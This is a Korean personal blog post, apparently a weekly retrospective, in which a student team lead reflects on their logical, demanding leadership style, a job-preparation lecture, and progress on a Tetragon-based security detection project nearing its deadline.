<p><img src="https://velog.velcdn.com/images/_sychoii/post/a5ac8ad7-d9b4-4e59-aecc-86a36ffc4134/image.png" alt=""></p>
<p>내 MBTI는 ENTJ 유형이다. 다들 알겠지만 사람들이 그리 선호하는 성격 유형은 아니다ㅋㅋㅋㅋㅋ 거기다 나는 T가 거의 100%에 육박하는 사람이라..ㅎ
논리적이지 않고 근거가 없는 얘기들은 받아 들일 수 없고 평상시에도 그런편이지만 특히 프로젝트 같은 일을 할 때는 더 심해진다. 어떤 이야기의 설득력과 논리가 없으면 집요하게 물어보고 파는 스타일이라 아마 이 점 때문에 우리 팀원들이 힘들지 않았을까?라는 생각이 든다.
예를 들어 어떤 작업을 할 때 기한 안에 못했다고 치자. 그럴 수 있다고 생각은 한다. 근데 왜 못했는지 어떤게 문제였는지를 명확하게 파악하고 있다는 전제가 깔린다.
나는 이런 전제가 안되어 있다면 질문을 많이 해서 주어진 테스크를 완료하게 만드는 편이다.</p>
<p>근데 이걸 팀원이 받아 들이지 못 하는 상황이 발생할 수도 있다고 생각한다. 누군가는 조금 더 포용력 있는 태도를 보일 수 있지 않느냐고 하지만 사실 그게 나한테 쉽지는 않다. 그리고 동시에 굳이?라는 생각도 든다. 전반적인 팀 운영에 책임이 있기 때문에 적어도 포용력이라는게 프로젝트에서 우선순위에 존재하진 않는거 같다.</p>
<hr>
<h2 id="취업특강">취업특강</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/0d90f0e7-1781-45d5-8aee-38b56a1c2c37/image.jpg" alt=""></p>
<p>아무튼 .. 이런 생각을 하던 와중에 취업특강에서 팀장으로서 태도와 관련된 이야기가 잠깐 나왔다. 좋은 팀장, 리더는 무엇인가? 라는 질문을 받았고 나 자신에게도 질문을 던졌던거 같다. 특강 이후에 일대일 면담 시간이 주어져서 팀 내에서 발생했었던 갈등(?) 상황과 팀 운영에 대한 질문을 주로 했던거 같다.
우리 팀은 지금껏 큰 갈등 상황은 없었지만 의견 충돌, 자잘한 소음들은 당연히 존재했기에 겪었던 일들이나 대처했던 방식들을 이야기 드리면서 면담을 했다.
뭐 .. 일단 특강 해주시러 와주신 강사님 말씀으론 잘하고 있다고 해주셨는데 사실 잘 모르겠다. 일정, 테스크와 같은 업무적인 리더십은 잘 관리한다고 생각하는데 인간성?이라고 해야할까 그런 부분에 있어선 난 내 자신이 부족하다고 생각하는 편이라 ... 프로젝트가 끝나면 팀원들에게 꼭 한번 물어봐야겠다.
이런 생각이 많아지니 작년에 나의 가장 큰 터닝 포인트였던 유난한 도전을 읽었을 때가 생각났다. 과정 종료 이후 회고할 때 책을 다시 한번 읽어 봐야겠다.</p>
<p>취업특강에서는 취업을 위해 어떤 자세로 준비를 해야하는지를 주로 말씀 해주셨다. 간단히 요약하자면 기술적인 것도 중요하지만 어떤 일이 끝나고 혹은 진행중에 있을 때 &quot;회고&quot;의 중요성과 &quot;의문&quot;의 중요성을 정말 많이 강조하셨다. 그냥 흘러 가듯이 선택하는 것이 아닌 작은 선택 하나하나에도 이유가 있어야 한다는 것. 정말 공감이 많이 되는 포인트였던거 같다.</p>
<p>현재 프로젝트 할 때도 선택 하나하나의 논리적인 비약이 없도록 우리의 생각과 이유를 부여하려고 하고 있다. 이는 개인 프로젝트면 모를까 팀 프로젝트면 팀 구성원이 이에 공감을 해야 가능한 일인데 다행히 논리성 확보를 당연시하는 희수와 이를 공감해주는 다른 팀원들이 있기에 가능했지 않았을까라는 생각이 든다.</p>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/4968901b-c9e6-4734-9761-9ba52612289b/image.jpg" alt=""></p>
<p>개인적인 부분에선 <strong>오피스 투어</strong> 이후부터 나의 일주일의 감상, 반성과 같은 회고를 작성하고 있는데 본격적으로 취업 시장에 나갈 때 이런 점들이 플러스 요인으로 작용하겠다는 생각이 들었다. 다시 한번 토스뱅크에게 감사 인사 드립니다🙇‍♂️</p>
<hr>
<h2 id="프로젝트-종료-d-17">프로젝트 종료 D-17</h2>
<p><img src="https://velog.velcdn.com/images/_sychoii/post/6d43667d-951d-491e-adac-60d64c25f0d1/image.png" alt=""></p>
<p>슬슬 프로젝트 마무리 단계에 돌입했기 때문에 중간점검이 이루어졌다. Tetragon 정책 설계부터 탐지 프레임워크 고도화 진행 상황에 대해 보고 드렸고 이제 우리조는 문서 작업을 시작하라는 피드백을 받았다. 정말 다행이었던건 우리의 방향성이 크게 휘둘리고 그런적이 없었기 때문에 처음 계획했던 대로 거의 모든게 수행된거 같다.
근데 탐지 고도화 외에 분석 부분이 약한거 같다는 내부적인 피드백이 있어서 이 부분은 고민중에 있다.</p>
<hr>
<h2 id="마무리">마무리</h2>
<p>뭔가 끝나가니까 한게 얼마 없는거 같고 그런 생각이 이따금씩 든다. 프로젝트 수행만 쭉 해오느라 수행한 작업에 대해 결과 문서로 정리를 하지 않아서 그런거 같기도 하고.. 열심히 해온만큼 인정 받을만한 좋은 결과를 내고싶다. 언제였는지 기억은 잘 안나지만 1등 할거라고 했었는데 그 생각이 지금도 유효하다. 마무리만 잘하면.. 가능하지 않을까?라는 생각이 든다. </p>
<p>지금 이번주에 내가 쓴 TIL을 전체적으로 쭉 보는데 좀 내용이 중구난방인거 같다. 뭔가 이런저런 생각이 많아서 그런거 같다. 암튼 이제 정말 며칠 안남았으니까 더 힘내서 끝까지 완주할 수 있도록 노력 해보겠다. 이번주 TIL은 여기서 마치도록 하겠다. 이번주도 고생 많으셨습니다!</p>
]]></description>
        </item>
    </channel>
</rss>